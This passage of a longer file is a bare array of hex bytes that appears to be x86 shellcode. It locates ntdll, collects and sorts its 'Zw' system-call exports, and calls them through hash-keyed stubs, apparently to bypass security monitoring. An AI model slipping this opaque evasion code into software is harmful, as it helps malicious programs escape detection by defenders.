x20,0x20,0x20,0x3D,0x6E,0x74,0x64,0x6C,0x75,0x19,0x8B,0x45,0xC4,0x83,0xC0,0x04,0x8B,0x00,0x0D,0x20,0x20,0x20,0x20,0x3D,0x6C,0x2E,0x64,0x6C,0x74,0x1E,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xEC,0x8B,0x00,0x89,0x45,0xEC,0x8B,0x45,0xEC,0x8B,0x40,0x18,0x85,0xC0,0x0F,0x85,0x70,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x83,0x7D,0xF4,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xBE,0x02,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x40,0x18,0x89,0x45,0xE8,0x8B,0x45,0xF4,0x8B,0x50,0x1C,0x8B,0x45,0xF0,0x01,0xD0,0x89,0x45,0xC0,0x8B,0x45,0xF4,0x8B,0x50,0x20,0x8B,0x45,0xF0,0x01,0xD0,0x89,0x45,0xBC,0x8B,0x45,0xF4,0x8B,0x50,0x24,0x8B,0x45,0xF0,0x01,0xD0,0x89,0x45,0xB8,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xB4,0x44,0xB0,0x88,0x6C,0x8B,0x45,0xE8,0x05,0xFF,0xFF,0xFF,0x3F,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xBC,0x01,0xD0,0x8B,0x10,0x8B,0x45,0xF0,0x01,0xD0,0x89,0x45,0xB0,0x8B,0x45,0xB0,0x0F,0xB7,0x00,0x66,0x3D,0x5A,0x77,0x75,0x69,0x8B,0x55,0xE4,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x8D,0x1C,0x02,0x8B,0x45,0xB0,0x89,0x04,0x24,0xE8,0x2D,0xFE,0xFF,0xFF,0x89,0x03,0x8B,0x45,0xE8,0x05,0xFF,0xFF,0xFF,0x7F,0x8D,0x14,0x00,0x8B,0x45,0xB8,0x01,0xD0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xC0,0x8D,0x0C,0x02,0x8B,0x55,0xE4,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xC2,0x8B,0x01,0x89,0x42,0x04,0x83,0x45,0xE4,0x01,0x81,0x7D,0xE4,0x26,0x02,0x00,0x00,0x74,0x10,0x83,0x6D,0xE8,0x01,0x83,0x7D,0xE8,0x00,0x0F,0x85,0x5F,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x8B,0x45,0xE4,0xA3,0x40,0xB0,0x88,0x6C,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xE9,0x3A,0x01,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xE9,0x16,0x01,0x00,0x00,0x8B,0x55,0xE0,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xD0,0x8B,0x48,0x04,0x8B,0x45,0xE0,0x8D,0x50,0x01,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xD0,0x8B,0x40,0x04,0x39,0xC8,0x0F,0x83,0xDB,0x00,0x00,0x00,0xC7,0x45,0x94,0x00,0x00,0x00,0x00,0xC7,0x45,0x98,0x00,0x00,0x00,0x00,0xC7,0x45,0x9C,0x00,0x00,0x00,0x00,0x8B,0x55,0xE0,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xD0,0x8B,0x00,0x89,0x45,0x94,0x8B,0x55,0xE0,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xD0,0x8B,0x40,0x04,0x89,0x45,0x98,0x8B,0x45,0xE0,0x8D,0x50,0x01,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x8D,0x0C,0x02,0x8B,0x55,0xE0,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xC2,0x8B,0x01,0x89,0x02,0x8B,0x45,0xE0,0x8D,0x50,0x01,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x8D,0x0C,0x02,0x8B,0x55,0xE0,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xC2,0x8B,0x41,0x04,0x89,0x42,0x04,0x8B,0x45,0xE0,0x8D,0x50,0x01,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xC2,0x8B,0x45,0x94,0x89,0x02,0x8B,0x45,0xE0,0x8D,0x50,0x01,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xC2,0x8B,0x45,0x98,0x89,0x42,0x04,0x83,0x45,0xE0,0x01,0xA1,0x40,0xB0,0x88,0x6C,0x2B,0x45,0xE4,0x83,0xE8,0x01,0x39,0x45,0xE0,0x0F,0x82,0xD6,0xFE,0xFF,0xFF,0x83,0x45,0xE4,0x01,0xA1,0x40,0xB0,0x88,0x6C,0x83,0xE8,0x01,0x39,0x45,0xE4,0x0F,0x82,0xB5,0xFE,0xFF,0xFF,0x8B,0x45,0xB4,0x83,0xC0,0x0C,0x8B,0x50,0x04,0x8B,0x45,0xB4,0x8B,0x40,0x04,0x29,0xC2,0x89,0x55,0xAC,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xEB,0x4B,0x8B,0x55,0xE4,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xD0,0x8B,0x50,0x04,0x8B,0x45,0xF0,0x01,0xD0,0x89,0x45,0xA8,0x8B,0x55,0xE4,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x8D,0x1C,0x02,0x8B,0x45,0xAC,0x89,0x44,0x24,0x04,0x8B,0x45,0xA8,0x89,0x04,0x24,0xE8,0xC9,0xFA,0xFF,0xFF,0x89,0x43,0x08,0x83,0x45,0xE4,0x01,0xA1,0x40,0xB0,0x88,0x6C,0x83,0xE8,0x01,0x39,0x45,0xE4,0x72,0xA8,0xB8,0x01,0x00,0x00,0x00,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x18,0xE8,0x37,0xFC,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x39,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x21,0x8B,0x55,0xF4,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x05,0x44,0xB0,0x88,0x6C,0x8B,0x00,0x39,0x45,0x08,0x75,0x05,0x8B,0x45,0xF4,0xEB,0x13,0x83,0x45,0xF4,0x01,0xA1,0x40,0xB0,0x88,0x6C,0x39,0x45,0xF4,0x72,0xD5,0xB8,0x00,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x18,0xE8,0xE6,0xFB,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x49,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x31,0x8B,0x55,0xF4,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x05,0x44,0xB0,0x88,0x6C,0x8B,0x00,0x39,0x45,0x08,0x75,0x15,0x8B,0x55,0xF4,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x05,0x4C,0xB0,0x88,0x6C,0x8B,0x00,0xEB,0x13,0x83,0x45,0xF4,0x01,0xA1,0x40,0xB0,0x88,0x6C,0x39,0x45,0xF4,0x72,0xC5,0xB8,0x00,0x00,0x00,0x00,0xC9,0xC3,0x64,0xA1,0xC0,0x00,0x00,0x00,0x85,0xC0,0x75,0x06,0xB8,0x00,0x00,0x00,0x00,0xC3,0xB8,0x01,0x00,0x00,0x00,0xC3,0x90,0x0F,0x0B,0x8B,0x04,0x24,0xC3,0x90,0x0F,0x0B,0x68,0x0F,0x2A,0x9B,0xCD,0xE8,0x75,0xFF,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x1C,0xFF,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x2F,0x1A,0xBF,0xFF,0xE8,0x54,0xFF,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xFB,0xFE,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x67,0x75,0x8B,0x11,0xE8,0x33,0xFF,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xDA,0xFE,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x3F,0xD3,0x52,0x22,0xE8,0x12,0xFF,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xB9,0xFE,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xA2,0x15,0xA9,0x8F,0xE8,0xF1,0xFE,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x98,0xFE,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x20,0xBC,0xBC,0xBD,0xE8,0xD0,0xFE,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x77,0xFE,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x80,0xE9,0x93,0x03,0xE8,0xAF,0xFE,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x56,0xFE,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x32,0x1B,0xAB,0x17,0xE8,0x8E,0xFE,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x35,0xFE,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x1B,0x03,0x95,0x05,0xE8,0x6D,0xFE,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x14,0xFE,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x05,0x2F,0x93,0x01,0xE8,0x4C,0xFE,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xF3,0xFD,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xB6,0x8E,0x01,0x96,0xE8,0x2B,0xFE,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xD2,0xFD,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x1A,0x2A,0xB2,0x24,0xE8,0x0A,0xFE,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xB1,0xFD,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xE3,0xE2,0x98,0x11,0xE8,0xE9,0xFD,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x90,0xFD,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x8F,0x2C,0x5B,0x4A,0xE8,0xC8,0xFD,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x6F,0xFD,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x13,0xA4,0xBF,0x9C,0xE8,0xA7,0xFD,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x4E,0xFD,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x4F,0xF6,0x23,0x0E,0xE8,0x86,0xFD,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x2D,0xFD,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xE3,0x76,0x63,0x42,0xE8,0x65,0xFD,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x0C,0xFD,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x1A,0x6A,0xB2,0x64,0xE8,0x44,0xFD,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xEB,0xFC,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xA0,0x64,0x2E,0x65,0xE8,0x23,0xFD,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xCA,0xFC,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x0C,0x32,0x9F,0x1D,0xE8,0x02,0xFD,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xA9,0xFC,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x36,0x71,0x91,0x27,0xE8,0xE1,0xFC,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x88,0xFC,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x84,0x83,0x9C,0x09,0xE8,0xC0,0xFC,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x67,0xFC,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x87,0x5F,0xBE,0x1A,0xE8,0x9F,0xFC,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x46,0xFC,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xEA,0x62,0xBD,0xBC,0xE8,0x7E,0xFC,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x25,0xFC,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x6D,0xBA,0xD1,0x8A,0xE8,0x5D,0xFC,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x04,0xFC,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x0F,0x98,0x97,0x8C,0xE8,0x3C,0xFC,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xE3,0xFB,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xA7,0x8C,0x3A,0xA6,0xE8,0x1B,0xFC,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xC2,0xFB,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xF9,0x12,0x69,0xF0,0xE8,0xFA,0xFB,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xA1,0xFB,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x18,0x39,0xA3,0x73,0xE8,0xD9,0xFB,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x80,0xFB,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xFB,0x5E,0xAB,0x7C,0xE8,0xB8,0xFB,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x5F,0xFB,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x1E,0x5C,0x98,0x38,0xE8,0x97,0xFB,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x3E,0xFB,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x82,0x4D,0xDF,0x84,0xE8,0x76,0xFB,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x1D,0xFB,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x0C,0x86,0xB2,0xA1,0xE8,0x55,0xFB,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xFC,0xFA,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x80,0x2D,0x1F,0x0A,0xE8,0x34,0xFB,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xDB,0xFA,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x13,0x36,0x82,0x14,0xE8,0x13,0xFB,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xBA,0xFA,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x8A,0xF2,0x3D,0xE6,0xE8,0xF2,0xFA,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x99,0xFA,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x3A,0x3D,0xA8,0x32,0xE8,0xD1,0xFA,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x78,0xFA,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x5C,0x59,0xF3,0x6A,0xE8,0xB0,0xFA,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x57,0xFA,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x6E,0x23,0x30,0xE8,0xE8,0x8F,0xFA,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x36,0xFA,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xE3,0x55,0x3F,0x11,0xE8,0x6E,0xFA,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x15,0xFA,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x04,0x0E,0xDA,0x6B,0xE8,0x4D,0xFA,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xF4,0xF9,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x10,0xDE,0xB1,0x12,0xE8,0x2C,0xFA,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xD3,0xF9,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x20,0x35,0x89,0x10,0xE8,0x0B,0xFA,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xB2,0xF9,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xB5,0x3A,0x1B,0x38,0xE8,0xEA,0xF9,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x91,0xF9,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x9C,0xD0,0xC6,0x20,0xE8,0xC9,0xF9,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x70,0xF9,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x3C,0xF4,0x9E,0xBA,0xE8,0xA8,0xF9,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x4F,0xF9,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x44,0x8D,0x66,0xCB,0xE8,0x87,0xF9,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x2E,0xF9,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x8F,0x59,0x39,0x13,0xE8,0x66,0xF9,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x0D,0xF9,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xBA,0x75,0xEB,0xB6,0xE8,0x45,0xF9,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xEC,0xF8,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xEF,0xD9,0xB0,0x1B,0xE8,0x24,0xF9,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xCB,0xF8,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xE7,0x84,0xCD,0x0A,0xE8,0x03,0xF9,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xAA,0xF8,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x37,0x04,0x96,0x36,0xE8,0xE2,0xF8,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x89,0xF8,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x79,0x5C,0x2D,0x7A,0xE8,0xC1,0xF8,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x68,0xF8,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x8F,0xCC,0x1A,0xCA,0xE8,0xA0,0xF8,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x47,0xF8,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x19,0xD6,0x26,0x0C,0xE8,0x7F,0xF8,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x26,0xF8,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x90,0x55,0x89,0xE5,0x83,0xEC,0x28,0x8B,0x45,0x08,0x8B,0x40,0x04,0x89,0xC2,0x8B,0x45,0x0C,0x01,0xD0,0x89,0x45,0xF4,0x8B,0x45,0x14,0x89,0x44,0x24,0x08,0x8B,0x45,0x10,0x89,0x44,0x24,0x04,0x8B,0x45,0xF4,0x89,0x04,0x24,0xE8,0x1D,0x37,0x00,0x00,0x90,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0x8B,0x45,0x08,0x8B,0x50,0x08,0x8B,0x45,0x10,0x01,0xD0,0x89,0x45,0xF4,0x8B,0x45,0x08,0x8B,0x40,0x08,0x39,0x45,0xF4,0x73,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x43,0x8B,0x45,0x08,0x8B,0x40,0x0C,0x39,0x45,0xF4,0x72,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x31,0x8B,0x45,0x08,0x8B,0x40,0x08,0x8B,0x55,0x10,0x89,0x54,0x24,0x0C,0x8B,0x55,0x0C,0x89,0x54,0x24,0x08,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x73,0xFF,0xFF,0xFF,0x8B,0x45,0x08,0x8B,0x55,0xF4,0x89,0x50,0x08,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x68,0xB9,0x00,0x00,0x00,0x00,0xB8,0x20,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xD4,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0x8B,0x45,0x08,0x8B,0x40,0x10,0x89,0x45,0xD4,0x8B,0x45,0x08,0x0F,0xB7,0x40,0x14,0x66,0x89,0x45,0xD8,0x8B,0x45,0x08,0x0F,0xB7,0x40,0x16,0x66,0x89,0x45,0xDA,0xC7,0x45,0xDC,0x03,0x00,0x00,0x00,0xC7,0x45,0xE0,0x20,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xB4,0x00,0x00,0x00,0x00,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x8D,0x55,0xB4,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0xD4,0x89,0x02,0x83,0x45,0xF4,0x04,0x8D,0x55,0xB4,0x8B,0x45,0xF4,0x01,0xC2,0x0F,0xB7,0x45,0xD8,0x66,0x89,0x02,0x83,0x45,0xF4,0x02,0x8D,0x55,0xB4,0x8B,0x45,0xF4,0x01,0xC2,0x0F,0xB7,0x45,0xDA,0x66,0x89,0x02,0x83,0x45,0xF4,0x02,0x8D,0x55,0xB4,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0xDC,0x89,0x02,0x83,0x45,0xF4,0x04,0x8D,0x55,0xB4,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0xE0,0x89,0x02,0x83,0x45,0xF4,0x04,0x8D,0x55,0xB4,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0xE4,0x89,0x02,0x83,0x45,0xF4,0x04,0x8D,0x55,0xB4,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0xE8,0x89,0x02,0x83,0x45,0xF4,0x04,0x8D,0x55,0xB4,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0xEC,0x89,0x02,0x83,0x45,0xF4,0x04,0x8D,0x55,0xB4,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x